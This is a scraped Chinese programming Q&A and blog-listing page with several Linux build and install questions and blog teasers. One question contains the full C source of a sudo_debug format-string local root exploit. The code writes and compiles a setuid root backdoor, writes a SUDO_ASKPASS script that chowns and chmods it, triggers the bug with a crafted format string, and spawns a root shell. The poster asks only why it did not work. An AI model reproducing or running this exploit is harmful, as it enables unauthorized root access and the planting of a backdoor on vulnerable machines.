linux下解压qt-everywhere-src-5.11.1.tar.xz 修改qtbase/mkspecs/linux-arm-gnueabi-g++/qmake.conf # # qmake configuration for building with arm-linux-gnueabi-g++ # MAKEFILE_GENERATOR = UNIX CONFIG += incremental QMAKE_INCREMENTAL_STYLE = sublib include(../common/linux.conf) include(../common/gcc-base-unix.conf) include(../common/g++-unix.conf) # modifications to g++.conf QMAKE_CC = arm-linux-gnueabihf-gcc QMAKE_CXX = arm-linux-gnueabihf-g++ QMAKE_LINK = arm-linux-gnueabihf-g++ QMAKE_LINK_SHLIB = arm-linux-gnueabihf-g++ # modifications to linux.conf QMAKE_AR = arm-linux-gnueabihf-ar cqs QMAKE_OBJCOPY = arm-linux-gnueabihf-objcopy QMAKE_NM = arm-linux-gnueabihf-nm -P QMAKE_STRIP = arm-linux-gnueabihf-strip load(qt_config) 然后 ./configure -release -nomake examples -no-iconv -qt-xcb -qpa xcb -xplatform linux-arm-gnueabi-g++ -prefix /home/ubuntu/Qt5.11.1 -opensource -confirm-license -make libs -no-opengl 之后提示 ERROR: Feature 'xcb' was enabled, but the pre-condition 'libs.xcb' failed. qtbase/src/plugins/platforms/xcb/README内提示的库已经安装 为什么还是不行呢
Ubuntu 12.04 Tse make 出错
flex 安装了。 错误信息为: for n in uri hlink stack lib; do make -C $n || exit 1; done make[1]: Entering directory `/home/jshan/Downloads/Tse/tse.code/tse/uri' gcc -c -O2 -I/home/jshan/Downloads/Tse/tse.code/tse/include lex.uri.c uri.l: In function ‘urilex’: uri.l:494: error: invalid lvalue in increment uri.l:494: error: invalid lvalue in increment uri.l:494: error: invalid lvalue in increment uri.l:500: error: invalid lvalue in increment uri.l:500: error: invalid lvalue in increment uri.l:500: error: invalid lvalue in increment uri.l:506: error: invalid lvalue in increment uri.l:506: error: invalid lvalue in increment uri.l:506: error: invalid lvalue in increment uri.l:511: error: invalid lvalue in increment uri.l:511: error: invalid lvalue in increment uri.l:511: error: invalid lvalue in increment uri.l: In function ‘__path_merge’: uri.l:842: error: invalid lvalue in decrement uri.l:843: error: invalid lvalue in decrement uri.l:849: error: invalid lvalue in increment uri.l:850: error: invalid lvalue in increment uri.l:873: error: invalid lvalue in decrement uri.l:874: error: invalid lvalue in decrement uri.l:880: error: invalid lvalue in increment uri.l:881: error: invalid lvalue in increment uri.l:938: error: invalid lvalue in decrement uri.l:940: error: invalid lvalue in decrement uri.l: In function ‘uri_combine’: uri.l:1073: error: invalid lvalue in increment uri.l:1073: error: invalid lvalue in increment uri.l:1073: error: invalid lvalue in increment uri.l:1097: error: invalid lvalue in increment uri.l:1097: error: invalid lvalue in increment uri.l:1097: error: invalid lvalue in increment uri.l:1108: error: invalid lvalue in increment uri.l:1108: error: invalid lvalue in increment uri.l:1108: error: invalid lvalue in increment uri.l:1119: error: invalid lvalue in increment uri.l:1119: error: invalid lvalue in increment uri.l:1119: error: invalid lvalue in increment uri.l:1129: error: invalid lvalue in increment uri.l:1129: error: invalid lvalue in increment uri.l:1129: error: invalid lvalue in increment uri.l:1139: error: invalid lvalue in increment uri.l:1139: error: invalid lvalue in increment uri.l:1139: error: invalid lvalue in increment uri.l:1150: error: invalid lvalue in increment uri.l:1150: error: invalid lvalue in increment uri.l:1150: error: invalid lvalue in increment uri.l:1162: error: invalid lvalue in increment uri.l:1162: error: invalid lvalue in increment uri.l:1162: error: invalid lvalue in increment make[1]: *** [lex.uri.o] Error 1
ubuntu18.04.1文件打开显示错误,重叠显示
![打开了一个.c文件,然而并没有正确显示文件里的代码](https://img-ask.csdn.net/upload/201909/24/1569332767_17678.png) 系统刚安装好时打开没问题,后面装好了gcc g++ cmake后再打开时就出现问题了,系统的gcc没有装全。 在终端用指令sudo gedit bits.c打开文件显示正常。
安装了mysqlconector 后然无法引入
我在ubuntu14.4上面操作,python2.7,mysql5.5 ,用了virtualenv, 当我在虚拟环境外安装好mysql-connector-python_2.0.4-1ubuntu14.04_all.deb后可以正常使用, ``` think@think-Inspiron-N4050:~/download$ sudo dpkg -i mysql-connector-python_2.0.4-1ubuntu14.04_all.deb [sudo] password for think: Selecting previously unselected package mysql-connector-python. (reading databse ...) Preparing to unpack mysql-connector-python_2.0.4-1ubuntu14.04_all.deb ... Unpacking mysql-connector-python (2.0.4-1ubuntu14.04) ... setting mysql-connector-python (2.0.4-1ubuntu14.04) ... think@think-Inspiron-N4050:~/download$ python Python 2.7.6 (default, Jun 22 2015, 18:00:18) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import mysql.connector >>> exit() ``` 我需要在virtualenv环境下使用,于是我又在venv环境里安装了一个,安装正常,但是无法引入 ``` (venv)think@think-Inspiron-N4050:~/download$ dpkg -i mysql-connector-python_2.0.4-1ubuntu14.04_all.deb (venv)think@think-Inspiron-N4050:~/download$ sudo dpkg -i mysql-connector-python_2.0.4-1ubuntu14.04_all.deb (reading database ... ) Preparing to unpack mysql-connector-python_2.0.4-1ubuntu14.04_all.deb ... Unpacking mysql-connector-python (2.0.4-1ubuntu14.04) over (2.0.4-1ubuntu14.04) ... setting mysql-connector-python (2.0.4-1ubuntu14.04) ... (venv)think@think-Inspiron-N4050:~/download$ python Python 2.7.6 (default, Jun 22 2015, 18:00:18) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import mysql.connector Traceback (most recent call last): File "<stdin>", line 1, in <module> ImportError: No module named mysql.connector ``` 请各位老师指点一下,谢谢
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
相见恨晚的超实用网站
搞学习 知乎:www.zhihu.com 简答题:http://www.jiandati.com/ 网易公开课:https://open.163.com/ted/ 网易云课堂:https://study.163.com/ 中国大学MOOC:www.icourse163.org 网易云课堂:study.163.com 哔哩哔哩弹幕网:www.bilibili.com 我要自学网:www.51zxw
爬虫福利二 之 妹子图网MM批量下载
爬虫福利一:27报网MM批量下载    点击 看了本文,相信大家对爬虫一定会产生强烈的兴趣,激励自己去学习爬虫,在这里提前祝:大家学有所成! 目标网站:妹子图网 环境:Python3.x 相关第三方模块:requests、beautifulsoup4 Re:各位在测试时只需要将代码里的变量 path 指定为你当前系统要保存的路径,使用 python xxx.py 或IDE运行即可。
字节跳动视频编解码面经
引言 本文主要是记录一下面试字节跳动的经历。 三四月份投了字节跳动的实习(图形图像岗位),然后hr打电话过来问了一下会不会opengl,c++,shador,当时只会一点c++,其他两个都不会,也就直接被拒了。 七月初内推了字节跳动的提前批,因为内推没有具体的岗位,hr又打电话问要不要考虑一下图形图像岗,我说实习投过这个岗位不合适,不会opengl和shador,然后hr就说秋招更看重基础。我当时
开源一个功能完整的SpringBoot项目框架
福利来了,给大家带来一个福利。 最近想了解一下有关Spring Boot的开源项目,看了很多开源的框架,大多是一些demo或者是一个未成形的项目,基本功能都不完整,尤其是用户权限和菜单方面几乎没有完整的。 想到我之前做的框架,里面通用模块有:用户模块,权限模块,菜单模块,功能模块也齐全了,每一个功能都是完整的。 打算把这个框架分享出来,供大家使用和学习。 为什么用框架? 框架可以学习整体
源码阅读(19):Java中主要的Map结构——HashMap容器(下1)
(接上文《源码阅读(18):Java中主要的Map结构——HashMap容器(中)》) 3.4.4、HashMap添加K-V键值对(红黑树方式) 上文我们介绍了在HashMap中table数组的某个索引位上,基于单向链表添加新的K-V键值对对象(HashMap.Node&lt;K, V&gt;类的实例),但是我们同时知道在某些的场景下,HashMap中table数据的某个索引位上,数据是按照红黑树
c++制作的植物大战僵尸,开源,一代二代结合游戏
    此游戏全部由本人自己制作完成。游戏大部分的素材来源于原版游戏素材,少部分搜集于网络,以及自己制作。 此游戏为同人游戏而且仅供学习交流使用,任何人未经授权,不得对本游戏进行更改、盗用等,否则后果自负。 目前有六种僵尸和六种植物,植物和僵尸的动画都是本人做的。qq:2117610943 开源代码下载 提取码:3vzm 点击下载--&gt; 11月28日 新增四种植物 统一植物画风,全部修
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过
Python——画一棵漂亮的樱花树(不同种樱花+玫瑰+圣诞树喔)
最近翻到一篇知乎,上面有不少用Python(大多是turtle库)绘制的树图,感觉很漂亮,我整理了一下,挑了一些我觉得不错的代码分享给大家(这些我都测试过,确实可以生成喔~) one 樱花树 动态生成樱花 效果图(这个是动态的): 实现代码 import turtle as T import random import time # 画樱花的躯干(60,t) def Tree(branch
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 顺便拉下票,我在参加csdn博客之星竞选,欢迎投票支持,每个QQ或者微信每天都可以投5票,扫二维码即可,http://m234140.nofollow.ax.
Python 基础(一):入门必备知识
目录1 标识符2 关键字3 引号4 编码5 输入输出6 缩进7 多行8 注释9 数据类型10 运算符10.1 常用运算符10.2 运算符优先级 1 标识符 标识符是编程时使用的名字,用于给变量、函数、语句块等命名,Python 中标识符由字母、数字、下划线组成,不能以数字开头,区分大小写。 以下划线开头的标识符有特殊含义,单下划线开头的标识符,如:_xxx ,表示不能直接访问的类属性,需通过类提供
深度学习图像算法在内容安全领域的应用
互联网给人们生活带来便利的同时也隐含了大量不良信息,防范互联网平台有害内容传播引起了多方面的高度关注。本次演讲从技术层面分享网易易盾在内容安全领域的算法实践经验,包括深度学习图
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 欢迎 改进 留言。 演示地点跳到演示地点 html代码如下`&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;music&lt;/title&gt; &lt;meta charset="utf-8"&gt
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。 1. for - else 什么?不是 if 和 else 才
数据库优化 - SQL优化
前面一篇文章从实例的角度进行数据库优化,通过配置一些参数让数据库性能达到最优。但是一些“不好”的SQL也会导致数据库查询变慢,影响业务流程。本文从SQL角度进行数据库优化,提升SQL运行效率。 判断问题SQL 判断SQL是否有问题时可以通过两个表象进行判断: 系统级别表象 CPU消耗严重 IO等待严重 页面响应时间过长
2019年11月中国大陆编程语言排行榜
2019年11月2日,我统计了某招聘网站,获得有效程序员招聘数据9万条。针对招聘信息,提取编程语言关键字,并统计如下: 编程语言比例 rank pl_ percentage 1 java 33.62% 2 c/c++ 16.42% 3 c_sharp 12.82% 4 javascript 12.31% 5 python 7.93% 6 go 7.25% 7
通俗易懂地给女朋友讲:线程池的内部原理
餐厅的约会 餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”我楞了一下,心里想女朋友今天是怎么了,怎么突然问出这么专业的问题,但做为一个专业人士在女朋友面前也不能露怯啊,想了一下便说:“我先给你讲讲我前同事老王的故事吧!” 大龄程序员老王 老王是一个已经北漂十多年的程序员,岁数大了,加班加不动了,升迁也无望,于是拿着手里
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹?
昨天,有网友私信我,说去阿里面试,彻底的被打击到了。问了为什么网上大量使用ThreadLocal的源码都会加上private static?他被难住了,因为他从来都没有考虑过这个问题。无独有偶,今天笔者又发现有网友吐槽了一道腾讯的面试题,我们一起来看看。 腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹? 在互联网职场论坛,一名程序员发帖求助到。二面腾讯,其中一个算法题:64匹
面试官:你连RESTful都不知道我怎么敢要你?
面试官:了解RESTful吗? 我:听说过。 面试官:那什么是RESTful? 我:就是用起来很规范,挺好的 面试官:是RESTful挺好的,还是自我感觉挺好的 我:都挺好的。 面试官:… 把门关上。 我:… 要干嘛?先关上再说。 面试官:我说出去把门关上。 我:what ?,夺门而去 文章目录01 前言02 RESTful的来源03 RESTful6大原则1. C-S架构2. 无状态3.统一的接
为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?
关于SQL和ORM的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行了一番讨论,感触还是有一些,于是就有了今天这篇文。 声明:本文不会下关于Mybatis和JPA两个持久层框架哪个更好这样的结论。只是摆事实,讲道理,所以,请各位看官勿喷。 一、事件起因 关于Mybatis和JPA孰优孰劣的问题,争论已经很多年了。一直也没有结论,毕竟每个人的喜好和习惯是大不相同的。我也看
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
致 Python 初学者
欢迎来到“Python进阶”专栏!来到这里的每一位同学,应该大致上学习了很多 Python 的基础知识,正在努力成长的过程中。在此期间,一定遇到了很多的困惑,对未来的学习方向感到迷茫。我非常理解你们所面临的处境。我从2007年开始接触 python 这门编程语言,从2009年开始单一使用 python 应对所有的开发工作,直至今天。回顾自己的学习过程,也曾经遇到过无数的困难,也曾经迷茫过、困惑过。开办这个专栏,正是为了帮助像我当年一样困惑的 Python 初学者走出困境、快速成长。希望我的经验能真正帮到你
Python 编程实用技巧
Python是一门很灵活的语言,也有很多实用的方法,有时候实现一个功能可以用多种方法实现,我这里总结了一些常用的方法,并会持续更新。
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
"狗屁不通文章生成器"登顶GitHub热榜,分分钟写出万字形式主义大作
GitHub 被誉为全球最大的同性交友网站,……,陪伴我们已经走过 10+ 年时间,它托管了大量的软件代码,同时也承载了程序员无尽的欢乐。 万字申请,废话报告,魔幻形式主义大作怎么写?兄dei,狗屁不通文章生成器了解一下。这个富有灵魂的项目名吸引了众人的目光。项目仅仅诞生一周,便冲上了GitHub趋势榜榜首(Js中文网 -前端进阶资源教程)、是榜首哦
推荐几款比较实用的工具,网站
1.盘百度PanDownload 这个云盘工具是免费的,可以进行资源搜索,提速(偶尔会抽风????) 不要去某站买付费的???? PanDownload下载地址 2.BeJSON 这是一款拥有各种在线工具的网站,推荐它的主要原因是网站简洁,功能齐全,广告相比其他广告好太多了 bejson网站 3.二维码美化 这个网站的二维码美化很好看,网站界面也很...
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
相关热词 c#处理浮点数 c# 生成字母数字随机数 c# 动态曲线 控件 c# oracle 开发 c#选择字体大小的控件 c# usb 批量传输 c#10进制转8进制 c#转base64 c# 科学计算 c#下拉列表获取串口
立即提问